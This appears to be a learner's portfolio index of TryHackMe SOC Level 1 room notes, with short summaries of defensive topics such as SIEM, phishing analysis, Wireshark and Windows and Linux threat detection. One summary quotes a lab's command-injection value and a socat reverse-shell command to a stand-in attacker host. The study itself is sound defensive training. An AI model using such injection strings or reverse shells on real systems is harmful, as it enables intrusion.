TryHackMe
SOC Level 1
haadi@portfolio:~$ ls -1 *.md
54 SOC Level 1 notes
- 2026.04.19Room notesBlue team introduction
Humans as Attack Vectors
Why people: not systems: are the most frequently exploited attack surface, how social engineering works, and what the SOC's role is in detecting and responding to human-targeted attacks.
SOC Fundamentals · Easy
- 2026.04.19Room notesBlue team introduction
Junior Security Analyst Intro
A guided walkthrough of a day in the life of a Tier 1 SOC analyst. The room simulates the actual workflow of monitoring alerts, investigating suspicious activity, and making triage decisions: exactly what I am training to do.
SOC Fundamentals · Easy
- 2026.04.19Room notesBlue team introduction
SOC Role in Blue Team
A breakdown of how SOC teams are structured, what each tier does, and how a career progresses from L1 analyst all the way up to security architect. This room is the map of where I am going.
SOC Fundamentals · Easy
- 2026.04.19Room notesBlue team introduction
Systems as Attack Vectors
How attackers exploit vulnerable and misconfigured systems: the technical attack surface alongside the human one: and what defenders can do to reduce it.
SOC Fundamentals · Easy
- 2026.04.19Room notesSOC team internals
Introduction to Phishing (SOC Simulator)
An introductory hands-on scenario using the TryHackMe SOC Simulator: working through a live phishing alert from the moment it fires to closing the ticket. This was the first fully simulated SOC workflow in the path.
SOC Fundamentals · Easy
- 2026.04.19Room notesSOC team internals
SOC L1 Alert Reporting
How to properly document, escalate, and communicate about SOC alerts: specifically the written output a Tier 1 analyst produces when handing off a confirmed threat to Tier 2 or management.
SOC Fundamentals · Easy
- 2026.04.19Room notesSOC team internals
SOC L1 Alert Triage
A systematic approach to triaging SOC alerts: moving from "an alert fired" to "I know what this is and what to do next" efficiently and accurately.
SOC Fundamentals · Easy
- 2026.04.19Room notesSOC team internals
SOC Metrics and Objectives
The key performance indicators that measure SOC effectiveness, and how understanding them shapes the way analysts work.
SOC Fundamentals · Easy
- 2026.04.19Room notesSOC team internals
SOC Workbooks and Lookups
The structured resources SOC teams use to standardize and speed up alert triage: workbooks, playbooks, and lookup tables that remove guesswork from the investigation process.
SOC Fundamentals · Easy
- 2026.04.19Room notesCore SOC solutions
Elastic Stack: The Basics
Hands-on introduction to the Elastic Stack (ELK): Elasticsearch, Logstash, and Kibana: and how SOC analysts use it for log investigation and threat detection.
SOC Fundamentals · Easy
- 2026.04.19Room notesCore SOC solutions
Introduction to EDR
What Endpoint Detection and Response (EDR) tools are, how they work, and how SOC analysts use them to monitor and investigate endpoint activity.
SOC Fundamentals · Easy
- 2026.04.19Room notesCore SOC solutions
Introduction to SIEM
What a SIEM is, how it works technically, and how SOC analysts use it as the central hub of security monitoring.
SOC Fundamentals · Easy
- 2026.04.19Room notesCore SOC solutions
Introduction to SOAR
Orchestration, automation and response: how SOCs remove repetitive triage so enrichment is waiting before the analyst opens the ticket.
SOC solutions · Easy
- 2026.04.19Room notesCore SOC solutions
Splunk: The Basics
Hands-on introduction to Splunk: navigating the interface, understanding data ingestion, and writing basic SPL queries to search and analyze log data.
SOC Fundamentals · Easy
- 2026.04.19Room notesCyber defence frameworks
Cyber Kill Chain
Lockheed Martin's seven-phase model of a targeted cyber attack, and how defenders can use it to identify and break the attack sequence early.
Cyber Defence Frameworks · Easy
- 2026.04.19Room notesCyber defence frameworks
Eviction
A threat hunting scenario: using MITRE ATT&CK and framework knowledge to find and evict a threat actor that is already operating inside an environment.
Cyber Defence Frameworks · Medium
- 2026.04.19Room notesCyber defence frameworks
MITRE ATT&CK
The MITRE ATT&CK framework: the industry-standard knowledge base of adversary tactics, techniques, and procedures used for detection engineering, threat hunting, and threat intelligence.
Cyber Defence Frameworks · Easy
- 2026.04.19Room notesCyber defence frameworks
Summit
A practical challenge applying the Pyramid of Pain: progressively detecting and blocking higher-level adversary indicators until the attacker gives up.
Cyber Defence Frameworks · Medium
- 2026.04.19Room notesCyber defence frameworks
The Pyramid of Pain
Ranking indicators by how much it costs an attacker when you detect them, from trivial hash changes to rebuilding TTPs.
Cyber defence frameworks · Easy
- 2026.04.19Room notesCyber defence frameworks
Unified Kill Chain
An extended kill chain framework that improves on the original by covering the full scope of in-network attacker activity after initial compromise.
Cyber Defence Frameworks · Easy
- 2026.04.19Room notesPhishing analysis
Phishing Analysis Fundamentals
The anatomy of an email: every component from headers to body to attachments: and how each component provides forensic evidence during phishing investigation.
Phishing · Easy
- 2026.04.19Room notesPhishing analysis
Phishing Analysis Tools
The specific tools SOC analysts use to investigate phishing emails: from header analysis to URL reputation to attachment sandboxing.
Phishing · Easy
- 2026.04.19Room notesPhishing analysis
Phishing Emails in Action
Examining actual phishing email samples: identifying the specific indicators that distinguish malicious emails from legitimate ones across different phishing campaign types.
Phishing · Easy
- 2026.04.19Room notesPhishing analysis
Phishing Prevention
The technical and procedural controls organizations deploy to reduce the volume and impact of phishing attacks.
Phishing · Easy
- 2026.04.19Room notesPhishing analysis
Phishing Unfolding
A simulated live phishing attack as it unfolds within a corporate network: from the initial email delivery through user interaction, credential theft, and the SOC response in real time.
Phishing · Medium
- 2026.04.19Room notesPhishing analysis
Snapped Phish-ing Line
A full phishing campaign investigation: analyzing multiple related phishing emails and infrastructure to expose and document a coordinated attack.
Phishing · Medium
- 2026.04.19Room notesPhishing analysis
The Greenholt Phish
A complete, end-to-end phishing investigation challenge: analyzing a real malicious email from header examination through full IOC extraction using all tools and techniques from the phishing module.
Phishing · Easy
- 2026.04.19Room notesNetwork traffic analysis
Network Traffic Basics
Traffic collection methods | Method | How It Works | Use Case | |---|---|---| | Port mirroring (SPAN) | Switch copies traffic to a monitoring port | Inline monitoring on a network segment | | Network TAP | Physical device that passively…
Network Traffic Analysis · Easy
- 2026.04.19Room notesNetwork traffic analysis
NetworkMiner
What NetworkMiner extracts automatically from a PCAP | Tab | What It Shows | |---|---| | Hosts | All hosts discovered in the capture with OS fingerprint | | Files | Every file transferred: downloadable directly from the tool | | Images |…
Network Traffic Analysis · Easy
- 2026.04.19Room notesNetwork traffic analysis
Wireshark: Packet Operations
Statistics tools that changed how I use Wireshark - Statistics → Protocol Hierarchy: Shows the breakdown of protocols in the capture. An unusually high percentage of one protocol is immediately suspicious.
Network Traffic Analysis · Medium
- 2026.04.19Room notesNetwork traffic analysis
Wireshark: The Basics
The Wireshark interface - Packet List (top pane): one row per packet, high-level summary - Packet Details (middle pane): hierarchical breakdown of the selected packet's protocol layers - Packet Bytes (bottom pane): raw hex and ASCII of…
Network Traffic Analysis · Easy
- 2026.04.19Room notesNetwork traffic analysis
Wireshark: Traffic Analysis
Anomaly-based analysis approach Rather than looking for specific known signatures, anomaly detection asks: what looks different from normal?
Network Traffic Analysis · Medium
- 2026.04.19Room notesNetwork security
Data Exfiltration Detection
Exfiltration channels and their detection signatures
Network Security · Medium
- 2026.04.19Room notesNetwork security
IDS Fundamentals
Both are deployed in mature environments. IDS alerts feed the SIEM. IPS provides automated response for well-understood, high-confidence threats.
Network Security · Easy
- 2026.04.19Room notesNetwork security
Man-in-the-Middle Detection
ARP Poisoning detection in Wireshark ARP poisoning is detectable in packet captures: - Multiple ARP replies claiming different MAC addresses for the same IP - ARP reply not following an ARP request (unsolicited gratuitous ARP) - Wireshark…
Network Security · Medium
- 2026.04.19Room notesNetwork security
Network Discovery Detection
Discovery techniques and their detection signatures
Network Security · Easy
- 2026.04.19Room notesNetwork security
Network Security Essentials
Network segmentation as a security control Flat networks: where every system can communicate with every other system: are a lateral movement attacker's dream.
Network Security · Easy
- 2026.04.19Room notesNetwork security
Snort: reading and writing detection rules
Snort's three modes, rule anatomy and why the syntax is unforgiving, the hardest room in the network security module.
Network security · Hard
- 2026.04.19Room notesWeb security
Detecting Web Attacks
Identifying web attack signatures in HTTP access logs and network traffic: recognizing SQL injection, XSS, directory traversal, and brute force attempts through log and packet analysis.
Web Security · Medium
- 2026.04.19Room notesWeb security
Detecting Web DDoS
Denial of Service and Distributed Denial of Service attacks against web applications: how they work, their detection signatures, and mitigation strategies.
Web Security · Medium
- 2026.04.19Room notesWeb security
Detecting Web Shells
What web shells are, how attackers deploy them, and how to detect them through log analysis, file system monitoring, and network traffic examination.
Web Security · Medium
- 2026.04.19Room notesWeb security
Web Security Essentials
The web is the largest attack surface most organizations have. Every public-facing web application is reachable by anyone on the internet.
Web Security · Easy
- 2026.05.04Room notesWindows security monitoring
Windows Logging for SOC
How Windows event logging works, where to find the most important logs, and how SOC analysts use Security, Sysmon, and PowerShell logs to detect real attacks.
09: Windows Security Monitoring · Easy
- 2026.05.04Room notesWindows security monitoring
Windows Threat Detection 1
Common Initial Access techniques attackers use to get into Windows environments: RDP brute force, phishing attachments, and USB-based malware: and how to detect each one using Windows event logs.
09: Windows Security Monitoring · Medium
- 2026.05.04Room notesWindows security monitoring
Windows Threat Detection 2
The first actions attackers take after breaching a Windows host: discovery, credential theft, data collection, and exfiltration: and how to detect each phase in Sysmon and Windows event logs.
09: Windows Security Monitoring · Medium
- 2026.05.04Room notesWindows security monitoring
Windows Threat Detection 3
How attackers maintain persistent access to compromised Windows hosts: C2 implants, backdoor accounts, Windows services, scheduled tasks, and startup folder abuse.
09: Windows Security Monitoring · Medium
- 2026.05.04Room notesLinux security monitoring
Linux Logging for SOC
Linux Log Sources | Linux Log | Windows Equivalent | Key Content | |---|---|---| | /var/log/auth.log | Security Event Log | SSH logins, sudo, user creation | | /var/log/syslog | System Event Log | Service starts, kernel messages, NTP | |…
Linux security monitoring · Easy
- 2026.05.04Room notesLinux security monitoring
Linux Threat Detection 1
SSH brute force is the most common Linux Initial Access technique. Botnets continuously scan port 22.
Linux security monitoring · Medium
- 2026.05.04Room notesLinux security monitoring
Linux Threat Detection 2
Attackers run discovery scripts immediately after getting access. The debug.sh script demonstrated the typical sequence: hostname, system info, ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu to profile running processes.
Linux security monitoring · Medium
- 2026.05.04Room notesLinux security monitoring
Linux Threat Detection 3
Command injection → reverse shell is a two-step chain. First confirmed RCE with 127.0.0.1 && whoami (output: svctrypingme), then escalated to full shell via socat TCP:attacker.thm:1337 EXEC:sh.
Linux security monitoring · Hard
- 2026.05.04Room notesMalware concepts for SOC
Intro to Malware Analysis
The two fundamental malware analysis techniques: static analysis (without running the malware) and dynamic analysis (running it in a sandbox): and the tools used for each.
Malware concepts for SOC · Easy
- 2026.05.04Room notesMalware concepts for SOC
Living Off the Land Attacks
Living Off the Land (LoL) attacks: how threat actors use legitimate, built-in Windows tools to perform malicious actions without deploying custom malware: and how SOC analysts detect them.
Malware concepts for SOC · Medium
- 2026.05.04Room notesMalware concepts for SOC
Malware Classification
A taxonomy of malware types: what each does, how to recognize it from behavioral symptoms, real-world examples, and the difference between binary and script-based malware.
Malware concepts for SOC · Easy
- 2026.05.04Room notesMalware concepts for SOC
Shadow Trace
A complete static malware analysis challenge: analyzing windows-update.exe using DFIR tools on the VM, extracting IOCs, identifying capabilities from imports, and correlating EDR alerts to trace the infection chain.
Malware concepts for SOC · Medium